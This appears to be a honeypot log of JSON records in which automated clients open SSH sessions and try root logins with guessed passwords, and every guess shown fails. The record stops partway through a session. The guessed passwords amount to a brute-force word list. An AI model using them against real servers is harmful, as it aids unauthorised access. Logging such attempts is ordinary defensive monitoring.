{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":33264,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9b71a664bd1","protocol":"ssh","message":"New connection: 92.191.96.70:33264 (10.17.0.5:22) [session: d9b71a664bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:11.127096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:11.132887Z","src_ip":"92.191.96.70","session":"d9b71a664bd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:11.265533Z","src_ip":"92.191.96.70","session":"d9b71a664bd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yc@123","message":"login attempt [root/yc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:11.805348Z","src_ip":"92.191.96.70","session":"d9b71a664bd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:12.932539Z","src_ip":"92.191.96.70","session":"d9b71a664bd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00135445594788,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:14.319691Z","src_ip":"100.12.231.83","session":"5d42fa72916d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":57380,"dst_ip":"159.203.135.109","dst_port":22,"session":"927924370a1a","protocol":"ssh","message":"New connection: 81.192.46.49:57380 (159.203.135.109:22) [session: 927924370a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:15.964323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:15.968950Z","src_ip":"81.192.46.49","session":"927924370a1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:16.091230Z","src_ip":"81.192.46.49","session":"927924370a1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"contacts","message":"login attempt [root/contacts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:16.613802Z","src_ip":"81.192.46.49","session":"927924370a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:17.739288Z","src_ip":"81.192.46.49","session":"927924370a1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":18140,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5e116bf92bb","protocol":"ssh","message":"New connection: 175.107.32.186:18140 (10.17.0.5:22) [session: a5e116bf92bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:18.304190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:18.309263Z","src_ip":"175.107.32.186","session":"a5e116bf92bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:18.532336Z","src_ip":"175.107.32.186","session":"a5e116bf92bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yc@123","message":"login attempt [root/yc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:19.453184Z","src_ip":"175.107.32.186","session":"a5e116bf92bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:20.678351Z","src_ip":"175.107.32.186","session":"a5e116bf92bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00127458572388,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:21.158601Z","src_ip":"100.12.231.83","session":"9f4ccc6d09f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0036609172821,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:23.482231Z","src_ip":"100.12.231.83","session":"acc972ec08f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00243401527405,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:25.396100Z","src_ip":"100.12.231.83","session":"224bb2f0fd35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":50766,"dst_ip":"10.17.0.5","dst_port":22,"session":"32e953dee99d","protocol":"ssh","message":"New connection: 159.195.79.219:50766 (10.17.0.5:22) [session: 32e953dee99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:27.931923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:27.938204Z","src_ip":"159.195.79.219","session":"32e953dee99d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:28.027806Z","src_ip":"159.195.79.219","session":"32e953dee99d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pokemon","message":"login attempt [root/pokemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:28.441302Z","src_ip":"159.195.79.219","session":"32e953dee99d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:29.534273Z","src_ip":"159.195.79.219","session":"32e953dee99d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00239849090576,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:30.961807Z","src_ip":"100.12.231.83","session":"4ce138cef48d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.205.122.34","src_port":57766,"dst_ip":"10.17.0.5","dst_port":22,"session":"87ca0d1ad076","protocol":"ssh","message":"New connection: 220.205.122.34:57766 (10.17.0.5:22) [session: 87ca0d1ad076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:54.506983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:54.511540Z","src_ip":"220.205.122.34","session":"87ca0d1ad076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:54.744659Z","src_ip":"220.205.122.34","session":"87ca0d1ad076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ocadmin","message":"login attempt [root/ocadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:55.711403Z","src_ip":"220.205.122.34","session":"87ca0d1ad076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:09:56.947428Z","src_ip":"220.205.122.34","session":"87ca0d1ad076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":44154,"dst_ip":"159.203.135.109","dst_port":22,"session":"38fcc3dae76a","protocol":"ssh","message":"New connection: 66.113.163.125:44154 (159.203.135.109:22) [session: 38fcc3dae76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:13.237527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:13.242241Z","src_ip":"66.113.163.125","session":"38fcc3dae76a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:13.278922Z","src_ip":"66.113.163.125","session":"38fcc3dae76a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dominic1","message":"login attempt [root/dominic1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:13.456209Z","src_ip":"66.113.163.125","session":"38fcc3dae76a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":43754,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b9831f9d860","protocol":"ssh","message":"New connection: 125.16.27.190:43754 (159.203.135.109:22) [session: 5b9831f9d860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:13.461402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:13.466104Z","src_ip":"125.16.27.190","session":"5b9831f9d860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:13.825579Z","src_ip":"125.16.27.190","session":"5b9831f9d860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:14.495815Z","src_ip":"66.113.163.125","session":"38fcc3dae76a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"not4u2no","message":"login attempt [root/not4u2no] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:15.183686Z","src_ip":"125.16.27.190","session":"5b9831f9d860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:16.489777Z","src_ip":"125.16.27.190","session":"5b9831f9d860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":49386,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f2125eb9183","protocol":"ssh","message":"New connection: 92.191.96.70:49386 (10.17.0.5:22) [session: 1f2125eb9183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:29.084546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:29.089166Z","src_ip":"92.191.96.70","session":"1f2125eb9183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:29.214896Z","src_ip":"92.191.96.70","session":"1f2125eb9183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"clayton","message":"login attempt [root/clayton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:29.739985Z","src_ip":"92.191.96.70","session":"1f2125eb9183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:30.866770Z","src_ip":"92.191.96.70","session":"1f2125eb9183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":46908,"dst_ip":"159.203.135.109","dst_port":22,"session":"f52b834773e7","protocol":"ssh","message":"New connection: 45.61.187.220:46908 (159.203.135.109:22) [session: f52b834773e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:31.004424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:10:31.010956Z","src_ip":"45.61.187.220","session":"f52b834773e7","protocol":"ssh"}
